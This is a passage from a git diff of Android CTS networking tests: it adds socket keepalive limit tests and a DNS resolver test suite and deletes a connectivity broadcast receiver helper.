+            // Let socket be not idle.
+            try {
+                final OutputStream out = s.getOutputStream();
+                out.write(requestBytes);
+            } catch (IOException e) {
+                fail("Failed to write data " + e);
+            }
+            // Make sure response data arrives.
+            final MessageQueue fdHandlerQueue = Looper.getMainLooper().getQueue();
+            final FileDescriptor fd = s.getFileDescriptor$();
+            final CountDownLatch mOnReceiveLatch = new CountDownLatch(1);
+            fdHandlerQueue.addOnFileDescriptorEventListener(fd, EVENT_INPUT, (readyFd, events) -> {
+                mOnReceiveLatch.countDown();
+                return 0; // Unregister listener.
+            });
+            if (!mOnReceiveLatch.await(2, TimeUnit.SECONDS)) {
+                fdHandlerQueue.removeOnFileDescriptorEventListener(fd);
+                fail("Timeout: no response data");
+            }
+
+            // Should get ERROR_SOCKET_NOT_IDLE because there is still data in the receive queue
+            // that has not been read.
+            try (SocketKeepalive sk = mCm.createSocketKeepalive(network, s, executor, callback)) {
+                sk.start(MIN_KEEPALIVE_INTERVAL);
+                callback.expectError(SocketKeepalive.ERROR_SOCKET_NOT_IDLE);
+            }
+        }
+    }
+
+    private ArrayList<SocketKeepalive> createConcurrentKeepalivesOfType(
+            int requestCount, @NonNull TestSocketKeepaliveCallback callback,
+            Supplier<SocketKeepalive> kaFactory) {
+        final ArrayList<SocketKeepalive> kalist = new ArrayList<>();
+
+        int remainingRetries = MAX_KEEPALIVE_RETRY_COUNT;
+
+        // Test concurrent keepalives with the given supplier.
+        while (kalist.size() < requestCount) {
+            final SocketKeepalive ka = kaFactory.get();
+            ka.start(MIN_KEEPALIVE_INTERVAL);
+            TestSocketKeepaliveCallback.CallbackValue cv = callback.pollCallback();
+            assertNotNull(cv);
+            if (cv.callbackType == TestSocketKeepaliveCallback.CallbackType.ON_ERROR) {
+                if (kalist.size() == 0 && cv.error == SocketKeepalive.ERROR_UNSUPPORTED) {
+                    // Unsupported.
+                    break;
+                } else if (cv.error == SocketKeepalive.ERROR_INSUFFICIENT_RESOURCES) {
+                    // Limit reached or temporary unavailable due to stopped slot is not yet
+                    // released.
+                    if (remainingRetries > 0) {
+                        SystemClock.sleep(INTERVAL_KEEPALIVE_RETRY_MS);
+                        remainingRetries--;
+                        continue;
+                    }
+                    break;
+                }
+            }
+            if (cv.callbackType == TestSocketKeepaliveCallback.CallbackType.ON_STARTED) {
+                kalist.add(ka);
+            } else {
+                fail("Unexpected error when creating " + (kalist.size() + 1) + " "
+                        + ka.getClass().getSimpleName() + ": " + cv);
+            }
+        }
+
+        return kalist;
+    }
+
+    private @NonNull ArrayList<SocketKeepalive> createConcurrentNattSocketKeepalives(
+            @NonNull Network network, int requestCount,
+            @NonNull TestSocketKeepaliveCallback callback)  throws Exception {
+
+        final Executor executor = mContext.getMainExecutor();
+
+        // Initialize a real NaT-T socket.
+        final IpSecManager mIpSec = (IpSecManager) mContext.getSystemService(Context.IPSEC_SERVICE);
+        final UdpEncapsulationSocket nattSocket = mIpSec.openUdpEncapsulationSocket();
+        final InetAddress srcAddr = getFirstV4Address(network);
+        final InetAddress dstAddr = getAddrByName(TEST_HOST, AF_INET);
+        assertNotNull(srcAddr);
+        assertNotNull(dstAddr);
+
+        // Test concurrent Nat-T keepalives.
+        final ArrayList<SocketKeepalive> result = createConcurrentKeepalivesOfType(requestCount,
+                callback, () -> mCm.createSocketKeepalive(network, nattSocket,
+                        srcAddr, dstAddr, executor, callback));
+
+        nattSocket.close();
+        return result;
+    }
+
+    private @NonNull ArrayList<SocketKeepalive> createConcurrentTcpSocketKeepalives(
+            @NonNull Network network, int requestCount,
+            @NonNull TestSocketKeepaliveCallback callback) {
+        final Executor executor = mContext.getMainExecutor();
+
+        // Create concurrent TCP keepalives.
+        return createConcurrentKeepalivesOfType(requestCount, callback, () -> {
+            // Assert that TCP connections can be established. The file descriptor of tcp
+            // sockets will be duplicated and kept valid in service side if the keepalives are
+            // successfully started.
+            try (Socket tcpSocket = getConnectedSocket(network, TEST_HOST, HTTP_PORT,
+                    0 /* Unused */, AF_INET)) {
+                return mCm.createSocketKeepalive(network, tcpSocket, executor, callback);
+            } catch (Exception e) {
+                fail("Unexpected error when creating TCP socket: " + e);
+            }
+            return null;
+        });
+    }
+
+    /**
+     * Creates concurrent keepalives until the specified counts of each type of keepalives are
+     * reached or the expected error callbacks are received for each type of keepalives.
+     *
+     * @return the total number of keepalives created.
+     */
+    private int createConcurrentSocketKeepalives(
+            @NonNull Network network, int nattCount, int tcpCount) throws Exception {
+        final ArrayList<SocketKeepalive> kalist = new ArrayList<>();
+        final TestSocketKeepaliveCallback callback = new TestSocketKeepaliveCallback();
+
+        kalist.addAll(createConcurrentNattSocketKeepalives(network, nattCount, callback));
+        kalist.addAll(createConcurrentTcpSocketKeepalives(network, tcpCount, callback));
+
+        final int ret = kalist.size();
+
+        // Clean up.
+        for (final SocketKeepalive ka : kalist) {
+            ka.stop();
+            callback.expectStopped();
+        }
+        kalist.clear();
+
+        return ret;
+    }
+
+    /**
+     * Verifies that the concurrent keepalive slots meet the minimum requirement, and don't
+     * get leaked after iterations.
+     */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+    public void testSocketKeepaliveLimitWifi() throws Exception {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testSocketKeepaliveLimitWifi cannot execute unless device"
+                    + " supports WiFi");
+            return;
+        }
+
+        final Network network = ensureWifiConnected();
+        final int supported = getSupportedKeepalivesForNet(network);
+        if (supported == 0) {
+            return;
+        }
+
+        adoptShellPermissionIdentity();
+
+        // Verifies that the supported keepalive slots meet MIN_SUPPORTED_KEEPALIVE_COUNT.
+        assertGreaterOrEqual(supported, MIN_SUPPORTED_WIFI_KEEPALIVE_COUNT);
+
+        // Verifies that Nat-T keepalives can be established.
+        assertEquals(supported, createConcurrentSocketKeepalives(network, supported + 1, 0));
+        // Verifies that keepalives don't get leaked in second round.
+        assertEquals(supported, createConcurrentSocketKeepalives(network, supported, 0));
+
+        // If kernel < 4.8 then it doesn't support TCP keepalive, but it might still support
+        // NAT-T keepalive. Test below cases only if TCP keepalive is supported by kernel.
+        if (isTcpKeepaliveSupportedByKernel()) {
+            assertEquals(supported, createConcurrentSocketKeepalives(network, 0, supported + 1));
+
+            // Verifies that different types can be established at the same time.
+            assertEquals(supported, createConcurrentSocketKeepalives(network,
+                    supported / 2, supported - supported / 2));
+
+            // Verifies that keepalives don't get leaked in second round.
+            assertEquals(supported, createConcurrentSocketKeepalives(network, 0, supported));
+            assertEquals(supported, createConcurrentSocketKeepalives(network,
+                    supported / 2, supported - supported / 2));
+        }
+
+        dropShellPermissionIdentity();
+    }
+
+    /**
+     * Verifies that the concurrent keepalive slots meet the minimum telephony requirement, and
+     * don't get leaked after iterations.
+     */
+    @AppModeFull(reason = "Cannot request network in instant app mode")
+    public void testSocketKeepaliveLimitTelephony() throws Exception {
+        if (!mPackageManager.hasSystemFeature(FEATURE_TELEPHONY)) {
+            Log.i(TAG, "testSocketKeepaliveLimitTelephony cannot execute unless device"
+                    + " supports telephony");
+            return;
+        }
+
+        final int firstSdk = Build.VERSION.FIRST_SDK_INT;
+        if (firstSdk < Build.VERSION_CODES.Q) {
+            Log.i(TAG, "testSocketKeepaliveLimitTelephony: skip test for devices launching"
+                    + " before Q: " + firstSdk);
+            return;
+        }
+
+        final Network network = mCtsNetUtils.connectToCell();
+        final int supported = getSupportedKeepalivesForNet(network);
+
+        adoptShellPermissionIdentity();
+
+        // Verifies that the supported keepalive slots meet minimum requirement.
+        assertGreaterOrEqual(supported, MIN_SUPPORTED_CELLULAR_KEEPALIVE_COUNT);
+
+        // Verifies that Nat-T keepalives can be established.
+        assertEquals(supported, createConcurrentSocketKeepalives(network, supported + 1, 0));
+        // Verifies that keepalives don't get leaked in second round.
+        assertEquals(supported, createConcurrentSocketKeepalives(network, supported, 0));
+
+        dropShellPermissionIdentity();
+    }
+
+    private int getIntResourceForName(@NonNull String resName) {
+        final Resources r = mContext.getResources();
+        final int resId = r.getIdentifier(resName, "integer", "android");
+        return r.getInteger(resId);
+    }
+
+    /**
+     * Verifies that the keepalive slots are limited as customized for unprivileged requests.
+     */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+    public void testSocketKeepaliveUnprivileged() throws Exception {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testSocketKeepaliveUnprivileged cannot execute unless device"
+                    + " supports WiFi");
+            return;
+        }
+
+        final Network network = ensureWifiConnected();
+        final int supported = getSupportedKeepalivesForNet(network);
+        if (supported == 0) {
+            return;
+        }
+
+        // Resource ID might be shifted on devices that compiled with different symbols.
+        // Thus, resolve ID at runtime is needed.
+        final int allowedUnprivilegedPerUid =
+                getIntResourceForName(KEEPALIVE_ALLOWED_UNPRIVILEGED_RES_NAME);
+        final int reservedPrivilegedSlots =
+                getIntResourceForName(KEEPALIVE_RESERVED_PER_SLOT_RES_NAME);
+        // Verifies that unprivileged request per uid cannot exceed the limit customized in the
+        // resource. Currently, unprivileged keepalive slots are limited to Nat-T only, this test
+        // does not apply to TCP.
+        assertGreaterOrEqual(supported, reservedPrivilegedSlots);
+        assertGreaterOrEqual(supported, allowedUnprivilegedPerUid);
+        final int expectedUnprivileged =
+                Math.min(allowedUnprivilegedPerUid, supported - reservedPrivilegedSlots);
+        assertEquals(expectedUnprivileged,
+                createConcurrentSocketKeepalives(network, supported + 1, 0));
+    }
+
+    private static void assertGreaterOrEqual(long greater, long lesser) {
+        assertTrue("" + greater + " expected to be greater than or equal to " + lesser,
+                greater >= lesser);
+    }
 }
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityReceiver.java b/tests/tests/net/src/android/net/cts/ConnectivityReceiver.java
deleted file mode 100644
index 6a7b4a0..0000000
--- a/tests/tests/net/src/android/net/cts/ConnectivityReceiver.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.net.ConnectivityManager;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class ConnectivityReceiver extends BroadcastReceiver {
-    static boolean sReceivedConnectivity;
-    static boolean sReceivedFinal;
-    static CountDownLatch sLatch;
-
-    static void prepare() {
-        synchronized (ConnectivityReceiver.class) {
-            sReceivedConnectivity = sReceivedFinal = false;
-            sLatch = new CountDownLatch(1);
-        }
-    }
-
-    static boolean waitForBroadcast() {
-        try {
-            sLatch.await(30, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
-            throw new IllegalStateException(e);
-        }
-        synchronized (ConnectivityReceiver.class) {
-            sLatch = null;
-            if (!sReceivedFinal) {
-                throw new IllegalStateException("Never received final broadcast");
-            }
-            return sReceivedConnectivity;
-        }
-    }
-
-    static final String FINAL_ACTION = "android.net.cts.action.FINAL";
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        Log.i("ConnectivityReceiver", "Received: " + intent.getAction());
-        if (ConnectivityManager.CONNECTIVITY_ACTION.equals(intent.getAction())) {
-            sReceivedConnectivity = true;
-        } else if (FINAL_ACTION.equals(intent.getAction())) {
-            sReceivedFinal = true;
-            if (sLatch != null) {
-                sLatch.countDown();
-            }
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
new file mode 100644
index 0000000..ef8badd
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -0,0 +1,722 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import static android.net.DnsResolver.CLASS_IN;
+import static android.net.DnsResolver.FLAG_EMPTY;
+import static android.net.DnsResolver.FLAG_NO_CACHE_LOOKUP;
+import static android.net.DnsResolver.TYPE_A;
+import static android.net.DnsResolver.TYPE_AAAA;
+import static android.system.OsConstants.ETIMEDOUT;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.content.Context;
+import android.content.ContentResolver;
+import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
+import android.net.DnsPacket;
+import android.net.DnsResolver;
+import android.net.LinkProperties;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.ParseException;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.system.ErrnoException;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+@AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
+public class DnsResolverTest extends AndroidTestCase {
+    private static final String TAG = "DnsResolverTest";
+    private static final char[] HEX_CHARS = {
+            '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
+    };
+
+    static final String TEST_DOMAIN = "www.google.com";
+    static final String INVALID_PRIVATE_DNS_SERVER = "invalid.google";
+    static final byte[] TEST_BLOB = new byte[]{
+            /* Header */
+            0x55, 0x66, /* Transaction ID */
+            0x01, 0x00, /* Flags */
+            0x00, 0x01, /* Questions */
+            0x00, 0x00, /* Answer RRs */
+            0x00, 0x00, /* Authority RRs */
+            0x00, 0x00, /* Additional RRs */
+            /* Queries */
+            0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
+            0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
+            0x00, 0x01, /* Type */
+            0x00, 0x01  /* Class */
+    };
+    static final int TIMEOUT_MS = 12_000;
+    static final int CANCEL_TIMEOUT_MS = 3_000;
+    static final int CANCEL_RETRY_TIMES = 5;
+    static final int QUERY_TIMES = 10;
+    static final int NXDOMAIN = 3;
+    static final int PRIVATE_DNS_SETTING_TIMEOUT_MS = 2_000;
+
+    private ContentResolver mCR;
+    private ConnectivityManager mCM;
+    private Executor mExecutor;
+    private Executor mExecutorInline;
+    private DnsResolver mDns;
+
+    private String mOldMode;
+    private String mOldDnsSpecifier;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        mDns = DnsResolver.getInstance();
+        mExecutor = new Handler(Looper.getMainLooper())::post;
+        mExecutorInline = (Runnable r) -> r.run();
+        mCR = getContext().getContentResolver();
+        storePrivateDnsSetting();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        restorePrivateDnsSetting();
+        super.tearDown();
+    }
+
+    private void storePrivateDnsSetting() {
+        // Store private DNS setting
+        mOldMode = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_MODE);
+        mOldDnsSpecifier = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER);
+    }
+
+    private void restorePrivateDnsSetting() {
+        // restore private DNS setting
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, mOldMode);
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER, mOldDnsSpecifier);
+    }
+
+    private static String byteArrayToHexString(byte[] bytes) {
+        char[] hexChars = new char[bytes.length * 2];
+        for (int i = 0; i < bytes.length; ++i) {
+            int b = bytes[i] & 0xFF;
+            hexChars[i * 2] = HEX_CHARS[b >>> 4];
+            hexChars[i * 2 + 1] = HEX_CHARS[b & 0x0F];
+        }
+        return new String(hexChars);
+    }
+
+    private Network[] getTestableNetworks() {
+        final ArrayList<Network> testableNetworks = new ArrayList<Network>();
+        for (Network network : mCM.getAllNetworks()) {
+            final NetworkCapabilities nc = mCM.getNetworkCapabilities(network);
+            if (nc != null
+                    && nc.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED)
+                    && nc.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)) {
+                testableNetworks.add(network);
+            }
+        }
+
+        assertTrue(
+                "This test requires that at least one network be connected. " +
+                        "Please ensure that the device is connected to a network.",
+                testableNetworks.size() >= 1);
+        // In order to test query with null network, add null as an element.
+        // Test cases which query with null network will go on default network.
+        testableNetworks.add(null);
+        return testableNetworks.toArray(new Network[0]);
+    }
+
+    static private void assertGreaterThan(String msg, int first, int second) {
+        assertTrue(msg + " Excepted " + first + " to be greater than " + second, first > second);
+    }
+
+    private static class DnsParseException extends Exception {
+        public DnsParseException(String msg) {
+            super(msg);
+        }
+    }
+
+    private static class DnsAnswer extends DnsPacket {
+        DnsAnswer(@NonNull byte[] data) throws DnsParseException {
+            super(data);
+
+            // Check QR field.(query (0), or a response (1)).
+            if ((mHeader.flags & (1 << 15)) == 0) {
+                throw new DnsParseException("Not an answer packet");
+            }
+        }
+
+        int getRcode() {
+            return mHeader.rcode;
+        }
+
+        int getANCount() {
+            return mHeader.getRecordCount(ANSECTION);
+        }
+
+        int getQDCount() {
+            return mHeader.getRecordCount(QDSECTION);
+        }
+    }
+
+    /**
+     * A query callback that ensures that the query is cancelled and that onAnswer is never
+     * called. If the query succeeds before it is cancelled, needRetry will return true so the
+     * test can retry.
+     */
+    class VerifyCancelCallback implements DnsResolver.Callback<byte[]> {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final String mMsg;
+        private final CancellationSignal mCancelSignal;
+        private int mRcode;
+        private DnsAnswer mDnsAnswer;
+
+        VerifyCancelCallback(@NonNull String msg, @Nullable CancellationSignal cancel) {
+            mMsg = msg;
+            mCancelSignal = cancel;
+        }
+
+        VerifyCancelCallback(@NonNull String msg) {
+            this(msg, null);
+        }
+
+        public boolean waitForAnswer(int timeout) throws InterruptedException {
+            return mLatch.await(timeout, TimeUnit.MILLISECONDS);
+        }
+
+        public boolean waitForAnswer() throws InterruptedException {
+            return waitForAnswer(TIMEOUT_MS);
+        }
+
+        public boolean needRetry() throws InterruptedException {
+            return mLatch.await(CANCEL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+
+        @Override
+        public void onAnswer(@NonNull byte[] answer, int rcode) {
+            if (mCancelSignal != null && mCancelSignal.isCanceled()) {
+                fail(mMsg + " should not have returned any answers");
+            }
+
+            mRcode = rcode;
+            try {
+                mDnsAnswer = new DnsAnswer(answer);
+            } catch (ParseException | DnsParseException e) {
+                fail(mMsg + e.getMessage());
+            }
+            Log.d(TAG, "Reported blob: " + byteArrayToHexString(answer));
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onError(@NonNull DnsResolver.DnsException error) {
+            fail(mMsg + error.getMessage());
+        }
+
+        private void assertValidAnswer() {
+            assertNotNull(mMsg + " No valid answer", mDnsAnswer);
+            assertEquals(mMsg + " Unexpected error: reported rcode" + mRcode +
+                    " blob's rcode " + mDnsAnswer.getRcode(), mRcode, mDnsAnswer.getRcode());
+        }
+
+        public void assertHasAnswer() {
+            assertValidAnswer();
+            // Check rcode field.(0, No error condition).
+            assertEquals(mMsg + " Response error, rcode: " + mRcode, mRcode, 0);
+            // Check answer counts.
+            assertGreaterThan(mMsg + " No answer found", mDnsAnswer.getANCount(), 0);
+            // Check question counts.
+            assertGreaterThan(mMsg + " No question found", mDnsAnswer.getQDCount(), 0);
+        }
+
+        public void assertNXDomain() {
+            assertValidAnswer();
+            // Check rcode field.(3, NXDomain).
+            assertEquals(mMsg + " Unexpected rcode: " + mRcode, mRcode, NXDOMAIN);
+            // Check answer counts. Expect 0 answer.
+            assertEquals(mMsg + " Not an empty answer", mDnsAnswer.getANCount(), 0);
+            // Check question counts.
+            assertGreaterThan(mMsg + " No question found", mDnsAnswer.getQDCount(), 0);
+        }
+
+        public void assertEmptyAnswer() {
+            assertValidAnswer();
+            // Check rcode field.(0, No error condition).
+            assertEquals(mMsg + " Response error, rcode: " + mRcode, mRcode, 0);
+            // Check answer counts. Expect 0 answer.
+            assertEquals(mMsg + " Not an empty answer", mDnsAnswer.getANCount(), 0);
+            // Check question counts.
+            assertGreaterThan(mMsg + " No question found", mDnsAnswer.getQDCount(), 0);
+        }
+    }
+
+    public void testRawQuery() throws Exception {
+        doTestRawQuery(mExecutor);
+    }
+
+    public void testRawQueryInline() throws Exception {
+        doTestRawQuery(mExecutorInline);
+    }
+
+    public void testRawQueryBlob() throws Exception {
+        doTestRawQueryBlob(mExecutor);
+    }
+
+    public void testRawQueryBlobInline() throws Exception {
+        doTestRawQueryBlob(mExecutorInline);
+    }
+
+    public void testRawQueryRoot() throws Exception {
+        doTestRawQueryRoot(mExecutor);
+    }
+
+    public void testRawQueryRootInline() throws Exception {
+        doTestRawQueryRoot(mExecutorInline);
+    }
+
+    public void testRawQueryNXDomain() throws Exception {
+        doTestRawQueryNXDomain(mExecutor);
+    }
+
+    public void testRawQueryNXDomainInline() throws Exception {
+        doTestRawQueryNXDomain(mExecutorInline);
+    }
+
+    public void doTestRawQuery(Executor executor) throws InterruptedException {
+        final String msg = "RawQuery " + TEST_DOMAIN;
+        for (Network network : getTestableNetworks()) {
+            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
+            mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            callback.assertHasAnswer();
+        }
+    }
+
+    public void doTestRawQueryBlob(Executor executor) throws InterruptedException {
+        final byte[] blob = new byte[]{
+                /* Header */
+                0x55, 0x66, /* Transaction ID */
+                0x01, 0x00, /* Flags */
+                0x00, 0x01, /* Questions */
+                0x00, 0x00, /* Answer RRs */
+                0x00, 0x00, /* Authority RRs */
+                0x00, 0x00, /* Additional RRs */
+                /* Queries */
+                0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
+                0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
+                0x00, 0x01, /* Type */
+                0x00, 0x01  /* Class */
+        };
+        final String msg = "RawQuery blob " + byteArrayToHexString(blob);
+        for (Network network : getTestableNetworks()) {
+            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
+            mDns.rawQuery(network, blob, FLAG_NO_CACHE_LOOKUP, executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            callback.assertHasAnswer();
+        }
+    }
+
+    public void doTestRawQueryRoot(Executor executor) throws InterruptedException {
+        final String dname = "";
+        final String msg = "RawQuery empty dname(ROOT) ";
+        for (Network network : getTestableNetworks()) {
+            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
+            mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            // Except no answer record because the root does not have AAAA records.
+            callback.assertEmptyAnswer();
+        }
+    }
+
+    public void doTestRawQueryNXDomain(Executor executor) throws InterruptedException {
+        final String dname = "test1-nx.metric.gstatic.com";
+        final String msg = "RawQuery " + dname;
+        for (Network network : getTestableNetworks()) {
+            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
+            mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            callback.assertNXDomain();
+        }
+    }
+
+    public void testRawQueryCancel() throws InterruptedException {
+        final String msg = "Test cancel RawQuery " + TEST_DOMAIN;
+        // Start a DNS query and the cancel it immediately. Use VerifyCancelCallback to expect
+        // that the query is cancelled before it succeeds. If it is not cancelled before it
+        // succeeds, retry the test until it is.
+        for (Network network : getTestableNetworks()) {
+            boolean retry = false;
+            int round = 0;
+            do {
+                if (++round > CANCEL_RETRY_TIMES) {
+                    fail(msg + " cancel failed " + CANCEL_RETRY_TIMES + " times");
+                }
+                final CountDownLatch latch = new CountDownLatch(1);
+                final CancellationSignal cancelSignal = new CancellationSignal();
+                final VerifyCancelCallback callback = new VerifyCancelCallback(msg, cancelSignal);
+                mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
+                        mExecutor, cancelSignal, callback);
+                mExecutor.execute(() -> {
+                    cancelSignal.cancel();
+                    latch.countDown();
+                });
+
+                retry = callback.needRetry();
+                assertTrue(msg + " query was not cancelled",
+                        latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            } while (retry);
+        }
+    }
+
+    public void testRawQueryBlobCancel() throws InterruptedException {
+        final String msg = "Test cancel RawQuery blob " + byteArrayToHexString(TEST_BLOB);
+        // Start a DNS query and the cancel it immediately. Use VerifyCancelCallback to expect
+        // that the query is cancelled before it succeeds. If it is not cancelled before it
+        // succeeds, retry the test until it is.
+        for (Network network : getTestableNetworks()) {
+            boolean retry = false;
+            int round = 0;
+            do {
+                if (++round > CANCEL_RETRY_TIMES) {
+                    fail(msg + " cancel failed " + CANCEL_RETRY_TIMES + " times");
+                }
+                final CountDownLatch latch = new CountDownLatch(1);
+                final CancellationSignal cancelSignal = new CancellationSignal();
+                final VerifyCancelCallback callback = new VerifyCancelCallback(msg, cancelSignal);
+                mDns.rawQuery(network, TEST_BLOB, FLAG_EMPTY, mExecutor, cancelSignal, callback);
+                mExecutor.execute(() -> {
+                    cancelSignal.cancel();
+                    latch.countDown();
+                });
+
+                retry = callback.needRetry();
+                assertTrue(msg + " cancel is not done",
+                        latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            } while (retry);
+        }
+    }
+
+    public void testCancelBeforeQuery() throws InterruptedException {
+        final String msg = "Test cancelled RawQuery " + TEST_DOMAIN;
+        for (Network network : getTestableNetworks()) {
+            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
+            final CancellationSignal cancelSignal = new CancellationSignal();
+            cancelSignal.cancel();
+            mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
+                    mExecutor, cancelSignal, callback);
+
+            assertTrue(msg + " should not return any answers",
+                    !callback.waitForAnswer(CANCEL_TIMEOUT_MS));
+        }
+    }
+
+    /**
+     * A query callback for InetAddress that ensures that the query is
+     * cancelled and that onAnswer is never called. If the query succeeds
+     * before it is cancelled, needRetry will return true so the
+     * test can retry.
+     */
+    class VerifyCancelInetAddressCallback implements DnsResolver.Callback<List<InetAddress>> {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final String mMsg;
+        private final List<InetAddress> mAnswers;
+        private final CancellationSignal mCancelSignal;
+
+        VerifyCancelInetAddressCallback(@NonNull String msg, @Nullable CancellationSignal cancel) {
+            this.mMsg = msg;
+            this.mCancelSignal = cancel;
+            mAnswers = new ArrayList<>();
+        }
+
+        public boolean waitForAnswer() throws InterruptedException {
+            return mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+
+        public boolean needRetry() throws InterruptedException {
+            return mLatch.await(CANCEL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+
+        public boolean isAnswerEmpty() {
+            return mAnswers.isEmpty();
+        }
+
+        public boolean hasIpv6Answer() {
+            for (InetAddress answer : mAnswers) {
+                if (answer instanceof Inet6Address) return true;
+            }
+            return false;
+        }
+
+        public boolean hasIpv4Answer() {
+            for (InetAddress answer : mAnswers) {
+                if (answer instanceof Inet4Address) return true;
+            }
+            return false;
+        }
+
+        @Override
+        public void onAnswer(@NonNull List<InetAddress> answerList, int rcode) {
+            if (mCancelSignal != null && mCancelSignal.isCanceled()) {
+                fail(mMsg + " should not have returned any answers");
+            }
+            for (InetAddress addr : answerList) {
+                Log.d(TAG, "Reported addr: " + addr.toString());
+            }
+            mAnswers.clear();
+            mAnswers.addAll(answerList);
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onError(@NonNull DnsResolver.DnsException error) {
+            fail(mMsg + error.getMessage());
+        }
+    }
+
+    public void testQueryForInetAddress() throws Exception {
+        doTestQueryForInetAddress(mExecutor);
+    }
+
+    public void testQueryForInetAddressInline() throws Exception {
+        doTestQueryForInetAddress(mExecutorInline);
+    }
+
+    public void testQueryForInetAddressIpv4() throws Exception {
+        doTestQueryForInetAddressIpv4(mExecutor);
+    }
+
+    public void testQueryForInetAddressIpv4Inline() throws Exception {
+        doTestQueryForInetAddressIpv4(mExecutorInline);
+    }
+
+    public void testQueryForInetAddressIpv6() throws Exception {
+        doTestQueryForInetAddressIpv6(mExecutor);
+    }
+
+    public void testQueryForInetAddressIpv6Inline() throws Exception {
